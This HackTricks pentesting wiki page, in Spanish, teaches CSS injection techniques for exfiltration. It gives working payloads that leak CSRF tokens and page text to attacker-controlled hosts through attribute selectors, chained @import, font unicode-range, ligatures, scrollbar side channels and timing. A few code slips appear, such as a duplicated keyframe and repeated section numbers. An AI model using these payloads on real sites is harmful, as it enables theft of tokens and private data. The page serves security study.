.. | ||
css-injection-code.md | ||
README.md |
Inyección de CSS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Inyección de CSS
Selector de Atributos
La técnica principal para exfiltrar información mediante la inyección de CSS es intentar coincidir un texto con CSS y en caso de que el texto exista, cargar algún recurso externo, como:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
Sin embargo, ten en cuenta que esta técnica no funcionará si, en el ejemplo, el input del nombre csrf es de tipo oculto (y generalmente lo son), porque el fondo no se cargará.
Sin embargo, puedes sortear este impedimento haciendo que, en lugar de hacer que el elemento oculto cargue un fondo, simplemente hagas que cualquier cosa después de él cargue el fondo:
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Algunos ejemplos de código para explotar esto: https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
Requisitos previos
- La inyección de CSS debe permitir cargas útiles lo suficientemente largas.
- Capacidad para enmarcar la página para desencadenar la reevaluación del CSS de las cargas útiles recién generadas.
- Capacidad para utilizar imágenes alojadas externamente (esto podría estar bloqueado por CSP).
@import
La técnica anterior tiene algunas limitaciones, verifica los requisitos previos. Necesitas poder enviar múltiples enlaces a la víctima, o necesitas poder enmarcar la página vulnerable a la inyección de CSS.
Sin embargo, hay otra técnica ingeniosa que utiliza @import
de CSS para mejorar la calidad de la técnica.
Esto fue mostrado por primera vez por Pepe Vila y funciona de la siguiente manera:
En lugar de cargar la misma página una y otra vez con decenas de cargas útiles diferentes cada vez (como en la técnica anterior), vamos a cargar la página solo una vez y solo con una importación al servidor del atacante (esta es la carga útil que se envía a la víctima):
@import url('//attacker.com:5001/start?');
- La importación va a recibir un script CSS de los atacantes y el navegador lo cargará.
- La primera parte del script CSS que enviará el atacante es otro
@import
al servidor de los atacantes nuevamente. - El servidor de los atacantes no responderá a esta solicitud aún, ya que queremos filtrar algunos caracteres y luego responder a esta importación con el payload para filtrar los siguientes.
- La segunda y más grande parte del payload será un payload de filtración de selector de atributo.
- Esto enviará al servidor de los atacantes el primer carácter del secreto y el último.
- Una vez que el servidor de los atacantes haya recibido el primer y último carácter del secreto, responderá a la importación solicitada en el paso 2.
- La respuesta será exactamente la misma que en los pasos 2, 3 y 4, pero esta vez intentará encontrar el segundo carácter del secreto y luego el penúltimo.
El atacante seguirá ese ciclo hasta que logre filtrar completamente el secreto.
Puedes encontrar el código original de Pepe Vila para explotar esto aquí o puedes encontrar casi el mismo código pero comentado aquí.
{% hint style="info" %} El script intentará descubrir 2 caracteres cada vez (desde el principio y desde el final) porque el selector de atributo permite hacer cosas como:
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
Esto permite que el script filtre la información secreta más rápido. {% endhint %}
{% hint style="warning" %}
A veces el script no detecta correctamente que el prefijo + sufijo descubierto ya es la bandera completa y continuará hacia adelante (en el prefijo) y hacia atrás (en el sufijo) y en algún momento se detendrá.
No te preocupes, solo verifica la salida porque puedes ver la bandera allí.
{% endhint %}
Otros selectores
Otras formas de acceder a partes del DOM con selectores CSS:
.clase-a-buscar:nth-child(2)
: Esto buscará el segundo elemento con la clase "clase-a-buscar" en el DOM.- Selector
:empty
: Utilizado, por ejemplo, en este informe:
[role^="img"][aria-label="1"]:empty { background-image: url("TU_URL_DEL_SERVIDOR?1"); }
XS-Search basado en errores
Referencia: Ataque basado en CSS: Abuso de unicode-range de @font-face, PoC de XS-Search basado en errores por @terjanq
Básicamente, la idea principal es utilizar una fuente personalizada desde un punto final controlado por nosotros en un texto que se mostrará solo si no se puede cargar el recurso.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
Estilizando Fragmento de Desplazamiento al Texto
Cuando un fragmento de URL apunta a un elemento, se puede utilizar la pseudo-clase :target
para seleccionarlo, pero ::target-text
no coincide con nada. Solo coincide con el texto que es objetivo del [fragmento].
Por lo tanto, un atacante podría utilizar el fragmento de desplazamiento al texto y si se encuentra algo con ese texto, podemos cargar un recurso (a través de inyección HTML) desde el servidor del atacante para indicarlo:
:target::before { content : url(target.png) }
Un ejemplo de este ataque podría ser:
{% code overflow="wrap" %}
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
{% endcode %}
Lo cual abusa de una inyección HTML enviando el código:
{% code overflow="wrap" %}
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
{% endcode %}
con el fragmento de texto de desplazamiento: #:~:text=Administrador
Si se encuentra la palabra Administrador, se cargará el recurso indicado.
Existen tres principales mitigaciones:
- STTF solo puede coincidir con palabras o frases en una página web, teóricamente haciendo imposible filtrar secretos o tokens aleatorios (a menos que descompongamos el secreto en párrafos de una sola letra).
- Está restringido a contextos de navegación de nivel superior, por lo que no funcionará en un iframe, lo que hace que el ataque sea visible para la víctima.
- Se necesita un gesto de activación del usuario para que STTF funcione, por lo que solo las navegaciones que son resultado de acciones del usuario son explotables, lo que disminuye en gran medida la posibilidad de automatizar el ataque sin interacción del usuario. Sin embargo, existen ciertas condiciones que el autor de la publicación de blog anterior descubrió que facilitan la automatización del ataque. Otro caso similar se presentará en PoC#3.
- Hay algunos bypass para esto, como ingeniería social, o forzar a las extensiones comunes del navegador a interactuar.
Para obtener más información, consulte el informe original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Puede verificar un exploit que utiliza esta técnica para un CTF aquí.
@font-face / unicode-range
Puede especificar fuentes externas para valores unicode específicos que solo se recopilarán si esos valores unicode están presentes en la página. Por ejemplo:
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
Cuando accedes a esta página, Chrome y Firefox obtienen "?A" y "?B" porque el nodo de texto de información sensible contiene los caracteres "A" y "B". Pero Chrome y Firefox no obtienen "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
Exfiltración de nodo de texto (I): ligaduras
Referencia: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Podemos extraer el texto contenido en un nodo con una técnica que combina ligaduras de fuentes y la detección de cambios de ancho. La idea principal detrás de esta técnica es la creación de fuentes que contienen una ligadura predefinida con un tamaño grande y el uso de cambios de tamaño como oráculo.
Las fuentes se pueden crear como fuentes SVG y luego convertirlas a woff con fontforge. En SVG podemos definir el ancho de un glifo a través del atributo horiz-adv-x, por lo que podemos construir algo como <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, siendo XY una secuencia de dos caracteres. Si la secuencia existe, se renderizará y el tamaño del texto cambiará. Pero... ¿cómo podemos detectar estos cambios?
Cuando el atributo white-space se define como nowrap, se fuerza al texto a no romperse cuando excede el ancho del elemento padre. En esta situación, aparecerá una barra de desplazamiento horizontal. Y podemos definir el estilo de esa barra de desplazamiento, ¡así que podemos filtrar cuando esto suceda :)
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
En este punto, el ataque es claro:
- Crear fuentes para la combinación de dos caracteres con ancho enorme.
- Detectar la filtración a través del truco de la barra de desplazamiento.
- Usando la primera ligadura filtrada como base, crear nuevas combinaciones de 3 caracteres (agregando caracteres antes / después).
- Detectar la ligadura de 3 caracteres.
- Repetir hasta filtrar todo el texto.
Todavía necesitamos un método mejorado para comenzar la iteración porque <meta refresh=...
no es óptimo. Podrías usar el truco de importación de CSS para optimizar el exploit.
Exfiltración de nodos de texto (II): filtrando el conjunto de caracteres con una fuente predeterminada (sin necesidad de activos externos)
Referencia: PoC usando Comic Sans por @Cgvwzq & @Terjanq
Este truco fue publicado en este hilo de Slackers. El conjunto de caracteres utilizado en un nodo de texto puede filtrarse utilizando las fuentes predeterminadas instaladas en el navegador: no se necesitan fuentes externas o personalizadas.
La clave es utilizar una animación para aumentar el ancho del div desde 0 hasta el final del texto, el tamaño de un carácter cada vez. De esta manera, podemos "dividir" el texto en dos partes: un "prefijo" (la primera línea) y un "sufijo", por lo que cada vez que el div aumenta su ancho, un nuevo carácter se mueve del "sufijo" al "prefijo". Algo como esto:
C
ADB
CA
DB
CAD
B
CADB
Cuando un nuevo carácter pasa a la primera línea, se utiliza el truco de unicode-range para detectar el nuevo carácter en el prefijo. Esta detección se realiza cambiando la fuente a Comic Sans, cuya altura es superior, por lo que se activa una barra de desplazamiento vertical (filtrando el valor del carácter). De esta manera, podemos filtrar cada carácter diferente una vez. Podemos detectar si un carácter se repite, pero no qué carácter se repite.
{% hint style="info" %}
Básicamente, se utiliza el unicode-range para detectar un carácter, pero como no queremos cargar una fuente externa, necesitamos encontrar otra forma.
Cuando se encuentra el carácter, se le asigna la fuente Comic Sans preinstalada, lo que hace que el carácter sea más grande y activa una barra de desplazamiento que filtrará el carácter encontrado.
{% endhint %}
Verifica el código extraído del PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* aumentar el ancho carácter por carácter, es decir, agregar un nuevo carácter al prefijo */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* canal lateral */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Exfiltración de nodos de texto (III): filtrando el conjunto de caracteres con una fuente predeterminada al ocultar elementos (sin necesidad de activos externos)
Referencia: Esto se menciona como una solución no exitosa en este informe
Este caso es muy similar al anterior, sin embargo, en este caso el objetivo de hacer que caracteres específicos sean más grandes que otros es ocultar algo, como un botón para que no sea presionado por el bot o una imagen que no se cargará. Así que podríamos medir la acción (o la falta de acción) y saber si un carácter específico está presente dentro del texto.
Exfiltración de nodos de texto (III): filtrando el conjunto de caracteres mediante el tiempo de caché (sin necesidad de activos externos)
Referencia: Esto se menciona como una solución no exitosa en este informe
En este caso, podríamos intentar filtrar si un carácter está en el texto cargando una fuente falsa desde la misma origen:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Si hay una coincidencia, la fuente se cargará desde /static/bootstrap.min.css?q=1
. Aunque no se cargue correctamente, el navegador debería almacenarla en caché, e incluso si no hay caché, existe un mecanismo de 304 no modificado, por lo que la respuesta debería ser más rápida que otras cosas.
Sin embargo, si la diferencia de tiempo entre la respuesta en caché y la no en caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de hacer pruebas, descubrí que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot utiliza la bandera disk-cache-size=1
, lo cual es realmente considerado.
Exfiltración de nodos de texto (III): filtrando el conjunto de caracteres mediante la carga de cientos de "fuentes" locales (que no requieren activos externos)
Referencia: Esto se menciona como una solución fallida en este informe
En este caso, puedes indicarle al CSS que cargue cientos de fuentes falsas desde el mismo origen cuando se produce una coincidencia. De esta manera, puedes medir el tiempo que tarda y averiguar si un carácter aparece o no con algo como:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Y el código del bot se ve así:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Entonces, suponiendo que la fuente no coincida, el tiempo de respuesta al visitar el bot debería ser de alrededor de 30 segundos. Si hay una coincidencia, se enviarán una serie de solicitudes para obtener la fuente, y la red siempre tendrá algo, por lo que tomará más tiempo cumplir con la condición de parada y obtener la respuesta. Por lo tanto, el tiempo de respuesta puede indicar si hay una coincidencia.
Referencias
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.